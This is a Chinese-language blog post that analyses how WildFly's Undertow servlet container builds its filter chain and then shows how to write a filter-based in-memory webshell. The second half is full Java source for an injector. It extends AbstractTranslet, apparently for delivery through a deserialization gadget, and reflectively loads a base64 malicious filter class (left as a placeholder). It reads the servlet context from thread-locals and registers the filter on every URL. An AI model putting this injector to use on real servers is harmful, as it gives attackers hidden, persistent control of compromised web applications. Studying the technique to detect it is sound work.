Wildfly中间件内存马分析
Wildfly内存马 1、环境搭建 WildFly,原名 JBoss AS (JBoss Application Server) 或者 JBoss,是一套应用程序服务器,属于开源的企业级 Java 中间件软件,用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。 本文主要分析该中间的Filter内存马,以及如何编写该中间的Filter内存马 wildfly
Wildfly内存马
1、环境搭建
WildFly,原名 JBoss AS (JBoss Application Server) 或者 JBoss,是一套应用程序服务器,属于开源的企业级 Java 中间件软件,用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。
本文主要分析该中间的Filter内存马,以及如何编写该中间的Filter内存马
wildfly 26.1.3
创建HelloFilter

2、Filter分析
在Servlet打下断点,查看调用栈

在调用栈中寻找第一次doFilter()出现的地方,io.undertow.servlet.handlers.FilterHandler中第一次调用了doFilter,关注fiterChain是如何生成的。

new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
通过该函数生成fiterChain,其中传入的关键参数是filters,关注filters

filters通过this.filters.get(dispatcher)生成的。关注this.filters是如何生成的。

this.filters是通过构造方法传入一个形参为filters的参数生成的,在此打个断点。看调用栈,关注哪里调用了该构造方法。

io.undertow.servlet.handlers.ServletPathMatches::createHandler这里实例化了个FilterHandler。在看到这里形参filters的位置传入的是noExtension,noExtension来自于
createHandler函数的形参List<ManagedFilter>> noExtension,关注哪里调用了createHandler()

在io.undertow.servlet.handlers.ServletPathMatches::setupServletChains中调用了creatHandler,分析setupServletChains

在setupServletChains中的addToListMap(noExtension, filterMapping.getDispatcher(), filter);,会生成ListMap。List中的元素形入 <filterMapping.getDispatcher(),filter>,关注filterMapping和filter是怎么生成的。

往上跟会看到如下代码。分别分析filterMapping 和 filter是如何生成的。

1、分析filterMapping
先分析filterMapping,可以看出filterMapping其实是来自deploymentInfo,

继续往上看的话,deploymentInfo是通过this.deployment.getDeploymentInfo()获取的。可以理解为filterMapping来自于deploymentInfo,而deploymentInfo来自于deployment。

回过头来跟进看一下deploymentInfo.getFilterMappings()。getFilterMappings该函数从deploymentInfo中获取其filterUrlMappings(ArrayList类型)其元素类型为FilterMapingInfo。

FilterMapingInfo如下。

deploymentInfo中有insertFilterUrlMapping方法,用于往filterUrlMappings中添加FilterMappingInfo类型的元素。

2、分析filter
filter通过filters.getManagedFilter(filterMapping.getFilterName());获取的。

而这里的filters来自于this.deployment.getFilters(),这里需注意一个点,this.deployment.getFilters()返回是一个ManagedFilters类型的对象。

因此filters.getManagedFilter(filterMapping.getFilterName()) 实际可以理解为this.deployment.getFilters().getManagedFilter(filterMapping.getFilterName())

跟进getManagedFilter方法,io.undertow.servlet.core.ManagedFilters::getManagedFilter

该方法从managedFilterMap中获取一个ManagedFilter类型的对象
而在ManagedFilters中还有另一个方法addFilter,往managedFilterMap中添加数据,其参数为FilterInfo类型的变量。

综上所述,不管是filter还是filterMapping,都得从deployment出发,关注deployment是如何生成的
io.undertow.servlet.handlers.ServletPathMatches的构造方法中传入deployment,打下断点,重启服务器。观察调用栈

跟到io.undertow.servlet.core.DeploymentImpl

DeploymentImpl的构造方法中调用了new ServletPathMatches,同时构造方法还是传入参数deploymentInfo。关注调用栈。


这里实例化了一个DeploymentImpl对象,传入deploymentInfo,deploymentInfo来自于this.originalDeployment.clone()

跟进clone(),这里通过addFilter(),传入FilterInfo类型的数据,那么可以理解为获取到DeploymentInfo后,可以通过addFilter(),添加FilterInfo数据。


跟进FilterInfo,可以通过new FilterInfo(FilterName,evilFilter)的形式实例化一个FilterInfo

3、编写内存马
思路
1、获取到deployment
2、获取到deploymentInfo
3、实例化一个新的FilterInfo,即FilterInfo filterinfo = new FilterInfo(filternme,filter)
4、deploymentinfo.addFilter(filterinfo)
5、deploymentinfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST)
6、deployment.getFilters().addFilter(filterinfo)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WildflyFilterLoader extends AbstractTranslet {
private static ServletContextImpl servletContext;
private static HttpServletResponseImpl response;
private static DeploymentInfo deploymentInfo;
private static Deployment deployment;
private static String filterName = "HFilter";
private static String filterClassName = "com.server.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
try{
Thread thread = Thread.currentThread();
Object threadLocals = GetField(thread, "threadLocals");
Object table = GetField(threadLocals, "table");
for(int i = 0; i<= Array.getLength(table)-1; i++){
try{
Object object = Array.get(table, i);
Object value = GetField(object, "value");
if (value.getClass().getName().contains("ServletRequestContext")){
ServletRequestContext servletRequestContext = (ServletRequestContext) value;
response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
deployment = (Deployment) GetField(servletContext, "deployment");
break;
}
}catch (Exception e){}
}
}catch (Exception e){
}
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
try{
if(deployment != null && deploymentInfo != null){
Class characterEncodingHFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
response.addHeader("Status","Work");
}
}catch (Exception e){
e.printStackTrace();
}
}
static {
new WildflyFilterLoader();
}
public WildflyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}